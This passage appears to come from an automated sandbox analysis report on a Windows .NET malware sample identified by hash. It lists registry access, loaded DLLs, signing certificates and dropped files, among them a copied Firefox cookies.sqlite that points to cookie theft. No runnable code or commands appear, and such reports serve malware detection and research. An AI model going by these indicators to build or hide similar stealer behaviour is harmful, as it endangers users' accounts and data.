(non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\WOW6432NODE\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")39:T94d,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "JSCrIQqACnlzp.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"3a:Ta25,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KO-KR") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KO-KR") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HK") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HK") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "JA-JP") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "JA-JP") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")3b:Tf4a,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00000336-00000C2A-592454152] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00000336-00000C2A-592845779] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00000336-00000C2A-592971110] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00000336-00000C2A-593043323] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00000336-00000C2A-593386534] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00000336-00000C2A-593431672] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00000336-00000C2A-593498326] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00000336-00000C2A-593631900] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00000336-00000C2A-593729757] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00000336-00000C2A-593859321] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00000336-00000C2A-594034912] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00000336-00000C2A-594203665] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00000336-00000C2A-594235811] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00000336-00000C2A-594332400] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00000336-00000C2A-594644016] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00000336-00000C2A-596835176] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00000336-00000C2A-596866320] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00000336-00000C2A-596897545] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00000336-00000C2A-597264190] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00000336-00000C2A-597555801] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00000336-00000C2A-597768943] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00000336-00000C2A-598878419] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" [Source: 00000000-00000336-00000C2A-598929712] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000336-00000C2A-599064646] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003052-00000C2A-604279735]3c:T40f,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 8B:AA:E2:A3:48:3C:0E:62:9D:B5:49:3A:BD:47:60:BA:AD:18:AA:8D; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 34:0B:28:80:F4:46:FC:C0:4E:59:ED:33:F5:2B:3D:08:D6:24:29:64; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4; see report for more information)3d:T57b,"JSCrIQqACnlzp.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%APPDATA%\JSCrIQqACnlzp.exe]- [targetUID: 00000000-00000336] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006808] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe.log]- [targetUID: 00000000-00000336] "cookies.sqlite" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001 page size 32768 writer version 2 read version 2 file counter 4 database pages 4 cookie 0x2 schema 4 UTF-8 version-valid-for 4"- Location: [%APPDATA%\shvkciql.ott\Firefox\Profiles\ywzu7870.default\cookies.sqlite]- [targetUID: 00000000-00007972] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006808] "tmp7CEB.tmp" has type "XML 1.0 document ASCII text"- Location: [%TEMP%\tmp7CEB.tmp]- [targetUID: 00000000-00000336] "JSCrIQqACnlzp.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]3e:Te14,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION\CUSTOMATTRIBUTES"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\DIAGNOSIS"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\DEBUGINFORMATION"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY\CUSTOMATTRIBUTES"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "")3f:T1339,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "")40:T47f,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.configuration\96f7edb07b12303f0ec2595c7f3778c7\system.configuration.ni.dll.aux" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux"41:T49c,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\SysWOW64\mscoree.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll"42:Tdf4,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\FLTLIB.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" trying to access non-existent file 